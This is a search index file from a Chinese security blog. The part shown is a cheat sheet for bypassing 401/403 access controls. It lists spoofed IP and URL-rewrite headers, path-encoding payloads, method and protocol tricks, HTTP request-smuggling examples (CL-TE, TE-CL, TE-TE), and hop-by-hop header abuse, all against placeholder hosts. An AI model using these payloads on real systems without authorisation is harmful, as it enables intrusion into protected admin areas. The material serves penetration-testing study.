-
Notifications
You must be signed in to change notification settings - Fork 0
/
search.xml
3732 lines (3284 loc) · 420 KB
/
search.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>401-and-403-Bypass 手册</title>
<url>/2023/11/26/401-and-403-Bypass/</url>
<content><![CDATA[<div class="note red icon-padding flat"><i class="note-icon fas fa-fan"></i><p>奇奇怪怪</p>
</div>
<div class="note orange icon-padding flat"><i class="note-icon fas fa-battery-half"></i><p>安全小技巧</p>
</div>
<div class="note blue icon-padding flat"><i class="note-icon fas fa-bullhorn"></i><p>新的一天开始了</p>
</div>
<div class="note purple icon-padding flat"><i class="note-icon far fa-hand-scissors"></i><p>剪刀石头布,哈,我又赢了 </p>
</div>
<div class="timeline pink"><div class='timeline-item headline'><div class='timeline-item-title'><div class='item-circle'><p>2023</p>
</div></div></div><div class='timeline-item'><div class='timeline-item-title'><div class='item-circle'><p>11-26</p>
</div></div><div class='timeline-item-content'><p>永远新的开始啊</p>
<p><strong>☺️目录列表</strong></p>
<hr>
<p>🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️🕵️</p>
<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p><strong>部分常见的HTTP响应状态码的介绍:</strong></p>
<ol>
<li>200 OK:表示请求成功。服务器成功处理了客户端的请求,并返回了请求的内容。</li>
<li>201 Created:表示请求已成功,并在服务器上创建了新的资源。</li>
<li>204 No Content:表示服务器成功处理了请求,但没有返回任何内容。通常在不需要返回响应主体的情况下使用,例如对DELETE请求的确认。</li>
<li>400 Bad Request:表示客户端发送的请求有错误,服务器无法处理。常见的原因包括请求参数缺失、参数格式错误等。</li>
<li>401 Unauthorized:表示请求需要身份验证,但客户端未提供有效的身份凭证。</li>
<li>403 Forbidden:表示服务器理解请求,但拒绝执行。通常是由于权限不足导致的,即使客户端提供了身份凭证。</li>
<li>404 Not Found:表示请求的资源在服务器上未找到。</li>
<li>500 Internal Server Error:表示服务器在处理请求时遇到了错误。这可能是由于服务器内部的错误导致的,而不是客户端的错误。</li>
</ol>
<ul>
<li><a href="https://websec.readthedocs.io/zh/latest/network/http/http.html?highlight=403#http-1xx">https://websec.readthedocs.io/zh/latest/network/http/http.html?highlight=403#http-1xx</a> 完整请求参考</li>
</ul>
<h1 id="绕过方法"><a href="#绕过方法" class="headerlink" title="绕过方法"></a>绕过方法</h1><h2 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h2><figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line">burpsuite 插件</span><br><span class="line"><span class="attr">https</span>:<span class="comment">//portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122</span></span><br><span class="line"><span class="number">403</span> bypass</span><br><span class="line"></span><br><span class="line"><span class="title class_">Automatic</span> <span class="title class_">Tools</span> 自动工具</span><br><span class="line"></span><br><span class="line"> <span class="attr">https</span>:<span class="comment">//github.com/lobuhi/byp4xx </span></span><br><span class="line"></span><br><span class="line"> <span class="attr">https</span>:<span class="comment">//github.com/iamj0ker/bypass-403 </span></span><br><span class="line"></span><br><span class="line"> <span class="attr">https</span>:<span class="comment">//github.com/gotr00t0day/forbiddenpass </span></span><br><span class="line"></span><br><span class="line"><span class="title class_">Burp</span> <span class="title class_">Extension</span> - <span class="number">403</span>呼吸器</span><br></pre></td></tr></table></figure>
<h2 id="修改请求"><a href="#修改请求" class="headerlink" title="修改请求"></a>修改请求</h2><figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line">**如**</span><br><span class="line"><span class="variable constant_">POST</span> /admin <span class="variable constant_">HTTP</span>/<span class="number">1.1</span></span><br><span class="line"><span class="title class_">Host</span>: example.<span class="property">com</span></span><br><span class="line">...</span><br><span class="line">**改为**</span><br><span class="line"><span class="variable constant_">GET</span> /admin <span class="variable constant_">HTTP</span>/<span class="number">1.1</span></span><br><span class="line"><span class="title class_">Host</span>: example.<span class="property">com</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line"><span class="variable constant_">GET</span></span><br><span class="line"><span class="variable constant_">HEAD</span></span><br><span class="line"><span class="variable constant_">POST</span></span><br><span class="line"><span class="variable constant_">PUT</span></span><br><span class="line"><span class="variable constant_">DELETE</span></span><br><span class="line"><span class="variable constant_">CONNECT</span></span><br><span class="line"><span class="variable constant_">OPTIONS</span></span><br><span class="line"><span class="variable constant_">TRACE</span></span><br><span class="line"><span class="variable constant_">PATCH</span></span><br><span class="line"><span class="variable constant_">FOO</span> # non existant method also might work</span><br><span class="line"></span><br><span class="line">****************字典列表 /usr/share/seclists/<span class="title class_">Fuzzing</span>/http-request-methods.<span class="property">txt</span>****************</span><br></pre></td></tr></table></figure>
<h2 id="User-Agent-修改"><a href="#User-Agent-修改" class="headerlink" title="User-Agent 修改"></a><strong>User-Agent 修改</strong></h2><p>有时,开发人员希望根据您用来访问网络应用程序的浏览器/操作系统类型来提供不同的内容。 如果配置错误,您可能只能通过修改用户代理来访问资源。</p>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Mozilla</span>/<span class="number">5.0</span> (<span class="variable constant_">X11</span>; <span class="title class_">Linux</span> i686; U;<span class="attr">rv</span>: <span class="number">1.7</span><span class="number">.13</span>) <span class="title class_">Gecko</span>/<span class="number">20070322</span></span><br><span class="line"> <span class="title class_">Kazehakase</span>/<span class="number">0.4</span><span class="number">.4</span><span class="number">.1</span></span><br><span class="line"> </span><br><span class="line"><span class="title class_">Mozilla</span>/<span class="number">5.0</span> (<span class="variable constant_">X11</span>; U; <span class="title class_">Linux</span> <span class="number">2.4</span><span class="number">.2</span>-<span class="number">2</span> i586; en-<span class="variable constant_">US</span>; m18) <span class="title class_">Gecko</span>/<span class="number">20010131</span></span><br><span class="line"> <span class="title class_">Netscape6</span>/<span class="number">6.01</span></span><br><span class="line"> </span><br><span class="line"><span class="title class_">Mozilla</span>/<span class="number">5.0</span> (<span class="variable constant_">X11</span>; U; <span class="title class_">Linux</span> i686; de-<span class="variable constant_">AT</span>; <span class="attr">rv</span>:<span class="number">1.8</span><span class="number">.0</span><span class="number">.2</span>) <span class="title class_">Gecko</span>/<span class="number">20060309</span></span><br><span class="line"> <span class="title class_">SeaMonkey</span>/<span class="number">1.0</span></span><br><span class="line"> </span><br><span class="line"><span class="title class_">Mozilla</span>/<span class="number">5.0</span> (<span class="variable constant_">X11</span>; U; <span class="title class_">Linux</span> i686; en-<span class="variable constant_">GB</span>; <span class="attr">rv</span>:<span class="number">1.7</span><span class="number">.6</span>) <span class="title class_">Gecko</span>/<span class="number">20050405</span></span><br><span class="line"> <span class="title class_">Epiphany</span>/<span class="number">1.6</span><span class="number">.1</span> (<span class="title class_">Ubuntu</span>) (<span class="title class_">Ubuntu</span> package <span class="number">1.0</span><span class="number">.2</span>)</span><br><span class="line"> </span><br><span class="line"><span class="title class_">Mozilla</span>/<span class="number">5.0</span> (<span class="variable constant_">X11</span>; U; <span class="title class_">Linux</span> i686; en-<span class="variable constant_">US</span>; <span class="title class_">Nautilus</span>/<span class="number">1.</span>0Final)</span><br><span class="line"> <span class="title class_">Gecko</span>/<span class="number">20020408</span></span><br><span class="line"> </span><br><span class="line"><span class="title class_">Mozilla</span>/<span class="number">5.0</span> (<span class="variable constant_">X11</span>; U; <span class="title class_">Linux</span> i686; en-<span class="variable constant_">US</span>; <span class="attr">rv</span>:<span class="number">0.9</span><span class="number">.3</span>) <span class="title class_">Gecko</span>/<span class="number">20010801</span></span><br><span class="line"></span><br><span class="line">**<span class="regexp">/usr/</span>share/seclists/<span class="title class_">Fuzzing</span>/<span class="title class_">User</span>-<span class="title class_">Agents</span>/ 字典列表**</span><br></pre></td></tr></table></figure>
<h2 id="HTTP-Headers-修改"><a href="#HTTP-Headers-修改" class="headerlink" title="HTTP Headers 修改"></a><strong>HTTP Headers 修改</strong></h2><p>HTTP 标头模糊测试是另一种流行的方法,该技术涉及使用修改后的<br>HTTP 标头向目标服务器发送请求。 X-Forwarded-For、Referer 和 Authorization 标头是最常修改的标头。 X-Forwarded-For 可以进行模糊测试,以绕过依赖 IP 地址过滤的安全控制。 通过更改此标头中的 IP 地址,攻击者可以尝试绕过基于 IP 地址过滤的任何安全控制。</p>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line"><span class="title class_">Headers</span>:</span><br><span class="line">- X-<span class="title class_">Forwarded</span>-<span class="title class_">For</span></span><br><span class="line">- X-<span class="title class_">Forward</span>-<span class="title class_">For</span></span><br><span class="line">- X-<span class="title class_">Forwarded</span>-<span class="title class_">Host</span></span><br><span class="line">- X-<span class="title class_">Forwarded</span>-<span class="title class_">Proto</span></span><br><span class="line">- <span class="title class_">Forwarded</span></span><br><span class="line">- <span class="title class_">Via</span></span><br><span class="line">- X-<span class="title class_">Real</span>-<span class="variable constant_">IP</span></span><br><span class="line">- X-<span class="title class_">Remote</span>-<span class="variable constant_">IP</span></span><br><span class="line">- X-<span class="title class_">Remote</span>-<span class="title class_">Addr</span></span><br><span class="line">- X-<span class="title class_">Trusted</span>-<span class="variable constant_">IP</span></span><br><span class="line">- X-<span class="title class_">Requested</span>-<span class="title class_">By</span></span><br><span class="line">- X-<span class="title class_">Requested</span>-<span class="title class_">For</span></span><br><span class="line">- X-<span class="title class_">Forwarded</span>-<span class="title class_">Server</span></span><br><span class="line"> </span><br><span class="line"><span class="title class_">Values</span>:</span><br><span class="line">- <span class="number">10.0</span><span class="number">.0</span><span class="number">.0</span></span><br><span class="line">- <span class="number">10.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">- <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">- <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">443</span></span><br><span class="line">- <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">80</span></span><br><span class="line">- localhost</span><br><span class="line">- <span class="number">172.16</span><span class="number">.0</span><span class="number">.0</span></span><br><span class="line"></span><br><span class="line">X-<span class="title class_">Originating</span>-<span class="attr">IP</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">X-<span class="title class_">Forwarded</span>-<span class="title class_">For</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">X-<span class="title class_">Forwarded</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="title class_">Forwarded</span>-<span class="title class_">For</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">X-<span class="title class_">Remote</span>-<span class="attr">IP</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">X-<span class="title class_">Remote</span>-<span class="title class_">Addr</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">X-<span class="title class_">ProxyUser</span>-<span class="title class_">Ip</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">X-<span class="title class_">Original</span>-<span class="attr">URL</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="title class_">Client</span>-<span class="attr">IP</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="title class_">True</span>-<span class="title class_">Client</span>-<span class="attr">IP</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="title class_">Cluster</span>-<span class="title class_">Client</span>-<span class="attr">IP</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">X-<span class="title class_">ProxyUser</span>-<span class="title class_">Ip</span>: <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line"><span class="title class_">Host</span>: localhost</span><br><span class="line"></span><br><span class="line">如果路径受到保护,您可以尝试使用以下其他标头绕过路径保护:</span><br><span class="line">X-<span class="title class_">Original</span>-<span class="attr">URL</span>: <span class="regexp">/admin/</span><span class="variable language_">console</span></span><br><span class="line">X-<span class="title class_">Rewrite</span>-<span class="attr">URL</span>: <span class="regexp">/admin/</span><span class="variable language_">console</span></span><br><span class="line"></span><br><span class="line">******工具 <span class="attr">https</span>:<span class="comment">//github.com/carlospolop/fuzzhttpbypass******</span></span><br><span class="line"></span><br><span class="line">******字典 /usr/share/seclists/<span class="title class_">Miscellaneous</span>/web/http-request-headers****** </span><br></pre></td></tr></table></figure>
<h2 id="路径模糊测试"><a href="#路径模糊测试" class="headerlink" title="路径模糊测试"></a><strong>路径模糊测试</strong></h2><p>尝试通过添加符号来寻找替代路径来绕过 401 或 403 状态代码。 example.com/admin 给你 403? 尝试添加 <code>/%2e/</code>或者 <code>/%252e/</code>到路径: <code>example.com/%252e/</code>管理并检查结果。 您还可以尝试其他创意文字。</p>
<p>🗯️: <code>“/%2e/”或“/%252e/”</code>序列表示“.”的 URL 编码版本。 字符,用于表示文件路径中的当前目录。 通过在 URL 路径中使用这一序列,服务器可能会将请求解释为访问与预期路径不同的路径,从而可能绕过基于原始路径的访问控制。</p>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line">/../</span><br><span class="line">/...</span><br><span class="line">/..%<span class="number">00</span></span><br><span class="line">/..%<span class="number">01</span></span><br><span class="line">/..%0a</span><br><span class="line">/..%0d</span><br><span class="line">/..%<span class="number">09</span></span><br><span class="line">/~root</span><br><span class="line">/~admin</span><br><span class="line">/%<span class="number">20</span>/</span><br><span class="line"><span class="regexp">/%2e%2e/</span></span><br><span class="line"><span class="regexp">/%252e%252e/</span></span><br><span class="line"><span class="regexp">/%c0%af/</span></span><br><span class="line">/%e0%<span class="number">80</span>%af</span><br><span class="line"></span><br><span class="line">**<span class="regexp">/usr/</span>share/seclists/<span class="title class_">Fuzzing</span> 字典**</span><br></pre></td></tr></table></figure>
<h2 id="协议版本降级"><a href="#协议版本降级" class="headerlink" title="协议版本降级"></a><strong>协议版本降级</strong></h2><p>HTTP/2 进不去? 尝试 1.1。 您还可以尝试所有其他技术以及降级协议,其中一种有用的技术可能是降级到 1.0 并完全删除主机标头 - 它可能会导致服务器出现意外行为。</p>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line"><span class="number">0.9</span></span><br><span class="line"><span class="number">1.0</span></span><br><span class="line"><span class="number">1.1</span></span><br><span class="line"><span class="number">2</span></span><br></pre></td></tr></table></figure>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line">清楚所有其他http标头 只保留一个 将<span class="variable constant_">HTTP</span>协议版本更改为<span class="number">1.0</span>。</span><br><span class="line">如果服务器和任何其他安全机制未以正确的方式配置,则当我们不将 <span class="title class_">Host</span> 放入标头时。 它将目标地址本身放入标头中,这使我们称为本地地址。</span><br><span class="line"></span><br><span class="line"><span class="variable constant_">GET</span> /path <span class="variable constant_">HTTP</span>/<span class="number">1.0</span></span><br><span class="line">**此方法可以绕过<span class="variable constant_">CDN</span>获得服务器真实<span class="variable constant_">IP</span>地址**</span><br></pre></td></tr></table></figure>
<h2 id="401-和-403-旁路技术"><a href="#401-和-403-旁路技术" class="headerlink" title="401 和 403 旁路技术"></a><strong>401 和 403 旁路技术</strong></h2><h3 id="大小写切换技术"><a href="#大小写切换技术" class="headerlink" title="大小写切换技术"></a><strong>大小写切换技术</strong></h3><p>它涉及更改 URL 路径中字符的大小写以尝试绕过访问控制。 <code>example.com/user</code>给你401? 尝试 <code>example.com/User</code>, <code>example.com/%75ser</code>或者 <code>example.com/USer</code>ETC。</p>
<h3 id="HTTP-请求走私"><a href="#HTTP-请求走私" class="headerlink" title="HTTP 请求走私"></a><strong>HTTP 请求走私</strong></h3><ul>
<li>HTTP 请求走私可用于操纵 Web 服务器和 Web 应用程序防火墙的行为。 它涉及发送格式错误的 HTTP 请求,这些请求利用 HTTP 请求处理链中不同组件处理请求数据的方式差异。</li>
<li>在 401 和 403 状态代码的情况下,您可以使用 HTTP 请求走私来绕过身份验证和授权检查。</li>
</ul>
<figure class="highlight jsx"><table><tr><td class="code"><pre><span class="line">******************在一个请求中写入两个<span class="variable constant_">GET</span>等请求,第二个请求中删除<span class="title class_">User</span>-<span class="title class_">Agent</span>,<span class="title class_">HTTP2</span>转换为<span class="title class_">HTTP1</span>******************</span><br><span class="line"><span class="variable constant_">GET</span> /test?a=a% <span class="variable constant_">HTTP</span>/<span class="number">1.1</span></span><br><span class="line"><span class="title class_">Host</span>: admin.<span class="property">target</span>.<span class="property">com</span></span><br><span class="line"><span class="title class_">User</span>-<span class="title class_">Agent</span>: <span class="title class_">Mozilla</span>/<span class="number">5.0</span> (<span class="title class_">Windows</span> <span class="variable constant_">NT</span> <span class="number">10.0</span>; <span class="title class_">Win64</span>; x64) <span class="title class_">AppleWebKit</span>/<span class="number">537.36</span> (<span class="variable constant_">KHTML</span>, like <span class="title class_">Gecko</span>) <span class="title class_">Chrome</span>/<span class="number">104.0</span><span class="number">.5112</span><span class="number">.102</span> <span class="title class_">Safari</span>/<span class="number">537.36</span></span><br><span class="line"></span><br><span class="line"><span class="variable constant_">GET</span> /admin/login <span class="variable constant_">HTTP</span>/<span class="number">1.1</span></span><br><span class="line"><span class="title class_">Host</span>: admin.<span class="property">target</span>.<span class="property">com</span></span><br><span class="line"></span><br><span class="line">================================================================================</span><br><span class="line">当前端服务器允许<span class="variable constant_">GET</span>请求携带请求体,而后端服务器不允许<span class="variable constant_">GET</span>请求携带请求体,它会直接忽略掉<span class="variable constant_">GET</span>请求中的 <span class="title class_">Content</span>-<span class="title class_">Length</span> 头,不进行处理。例如下面这个例子:</span><br><span class="line"></span><br><span class="line"><span class="variable constant_">GET</span> / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n</span><br><span class="line"><span class="title class_">Host</span>: example.<span class="property">com</span>\r\n</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Length</span>: <span class="number">44</span>\r\n</span><br><span class="line"></span><br><span class="line"><span class="variable constant_">GET</span> /secret <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n</span><br><span class="line"><span class="title class_">Host</span>: example.<span class="property">com</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line"></span><br><span class="line">前端服务器处理了 <span class="title class_">Content</span>-<span class="title class_">Length</span> ,而后端服务器没有处理 <span class="title class_">Content</span>-<span class="title class_">Length</span> ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。</span><br><span class="line">================================================================================</span><br><span class="line">根据<span class="variable constant_">RFC</span> <span class="number">7230</span>,当服务器收到的请求中包含两个 <span class="title class_">Content</span>-<span class="title class_">Length</span> ,而且两者的值不同时,需要返回<span class="number">400</span>错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 <span class="title class_">Content</span>-<span class="title class_">Length</span> 值时,就会出现漏洞。例如:</span><br><span class="line"></span><br><span class="line"><span class="variable constant_">POST</span> / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n</span><br><span class="line"><span class="title class_">Host</span>: example.<span class="property">com</span>\r\n</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Length</span>: <span class="number">8</span>\r\n</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Length</span>: <span class="number">7</span>\r\n</span><br><span class="line"></span><br><span class="line"><span class="number">12345</span>\r\n</span><br><span class="line">a</span><br><span class="line"></span><br><span class="line">这个例子中a就会被带入下一个请求,变为 aGET / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n 。</span><br><span class="line">================================================================================</span><br><span class="line"><span class="variable constant_">CL</span>-<span class="variable constant_">TE</span>指前端服务器处理 <span class="title class_">Content</span>-<span class="title class_">Length</span> 这一请求头,而后端服务器遵守<span class="title class_">RFC2616</span>的规定,忽略掉 <span class="title class_">Content</span>-<span class="title class_">Length</span> ,处理 <span class="title class_">Transfer</span>-<span class="title class_">Encoding</span> 。例如:</span><br><span class="line"></span><br><span class="line"><span class="variable constant_">POST</span> / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n</span><br><span class="line"><span class="title class_">Host</span>: example.<span class="property">com</span>\r\n</span><br><span class="line">...</span><br><span class="line"><span class="title class_">Connection</span>: keep-alive\r\n</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Length</span>: <span class="number">6</span>\r\n</span><br><span class="line"><span class="title class_">Transfer</span>-<span class="title class_">Encoding</span>: chunked\r\n</span><br><span class="line">\r\n</span><br><span class="line"><span class="number">0</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line">a</span><br><span class="line"></span><br><span class="line">这个例子中a同样会被带入下一个请求,变为 aGET / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n 。</span><br><span class="line">================================================================================</span><br><span class="line"><span class="variable constant_">TE</span>-<span class="variable constant_">CL</span>指前端服务器处理 <span class="title class_">Transfer</span>-<span class="title class_">Encoding</span> 请求头,而后端服务器处理 <span class="title class_">Content</span>-<span class="title class_">Length</span> 请求头。例如:</span><br><span class="line"></span><br><span class="line"><span class="variable constant_">POST</span> / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n</span><br><span class="line"><span class="title class_">Host</span>: example.<span class="property">com</span>\r\n</span><br><span class="line">...</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Length</span>: <span class="number">4</span>\r\n</span><br><span class="line"><span class="title class_">Transfer</span>-<span class="title class_">Encoding</span>: chunked\r\n</span><br><span class="line">\r\n</span><br><span class="line"><span class="number">12</span>\r\n</span><br><span class="line">aPOST / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line"><span class="number">0</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line">================================================================================</span><br><span class="line"><span class="variable constant_">TE</span>-<span class="variable constant_">TE</span>指前后端服务器都处理 <span class="title class_">Transfer</span>-<span class="title class_">Encoding</span> 请求头,但是在容错性上表现不同,例如有的服务器可能会处理 <span class="title class_">Transfer</span>-encoding ,测试例如:</span><br><span class="line"></span><br><span class="line"><span class="variable constant_">POST</span> / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n</span><br><span class="line"><span class="title class_">Host</span>: example.<span class="property">com</span>\r\n</span><br><span class="line">...</span><br><span class="line"><span class="title class_">Content</span>-<span class="attr">length</span>: <span class="number">4</span>\r\n</span><br><span class="line"><span class="title class_">Transfer</span>-<span class="title class_">Encoding</span>: chunked\r\n</span><br><span class="line"><span class="title class_">Transfer</span>-<span class="attr">encoding</span>: cow\r\n</span><br><span class="line">\r\n</span><br><span class="line">5c\r\n</span><br><span class="line">aPOST / <span class="variable constant_">HTTP</span>/<span class="number">1.1</span>\r\n</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Type</span>: application/x-www-form-urlencoded\r\n</span><br><span class="line"><span class="title class_">Content</span>-<span class="title class_">Length</span>: <span class="number">15</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line">x=<span class="number">1</span>\r\n</span><br><span class="line"><span class="number">0</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line">================================================================================</span><br><span class="line"></span><br><span class="line">**文章:**</span><br><span class="line"><span class="attr">https</span>:<span class="comment">//medium.com/@siratsami71/the-easiest-way-i-used-to-bypass-an-admin-panel-93d4297ed4a6</span></span><br><span class="line"><span class="attr">https</span>:<span class="comment">//websec.readthedocs.io/zh/latest/vuln/httpSmuggling.html</span></span><br><span class="line"><span class="attr">https</span>:<span class="comment">//github.com/xidaner/Freed0m/blob/master/%E7%AC%94%E8%AE%B0/%E5%AE%89%E5%85%A8/Web%E6%B8%97%E9%80%8F/web%E6%9C%8D%E5%8A%A1/HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81.md</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h2 id="利用逐跳请求标头"><a href="#利用逐跳请求标头" class="headerlink" title="利用逐跳请求标头"></a><strong>利用逐跳请求标头</strong></h2><ul>
<li>逐跳标头是用于客户端和服务器之间通信的 HTTP 标头,不会由代理或缓存等中介转发。 这些标头被称为“逐跳”,因为它们是逐跳处理的,这意味着请求路径上的每个中介都会在标头通过时看到并可能修改标头。 HTTP/1.1 规范将以下标头定义为逐跳标头:</li>
</ul>
<blockquote>
<p><strong>连接、保持活动、代理验证、代理授权、TE、尾部、传输编码</strong></p>
</blockquote>
<ul>
<li>当代理收到包含这些标头之一的请求时,它应该对其进行处理,然后在将请求转发到链中的下一个服务器之前删除标头。</li>
<li>💡!请注意, <strong>HTTP/2 协议</strong> 具有不同的处理标头的机制,其中“伪标头”的概念与常规标头的处理方式不同。</li>
</ul>
<p><strong>有趣的是,您可以通过将哪些标头添加到 Connection 标头来定义应删除的标头,如下所示:</strong></p>
<p>!<a href="https://blog.vidocsecurity.com/content/images/2023/04/image.png">https://blog.vidocsecurity.com/content/images/2023/04/image.png</a></p>
<ul>
<li><strong>例</strong></li>
</ul>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Connection: close, X-Foo, X-Bar</span><br></pre></td></tr></table></figure>
<p>在此示例中,我们要求代理处理 <code>X-Foo</code>和 <code>X-Bar</code>作为逐跳,这意味着我们希望代理在传递请求之前将它们从请求中删除。 </p>
<ul>
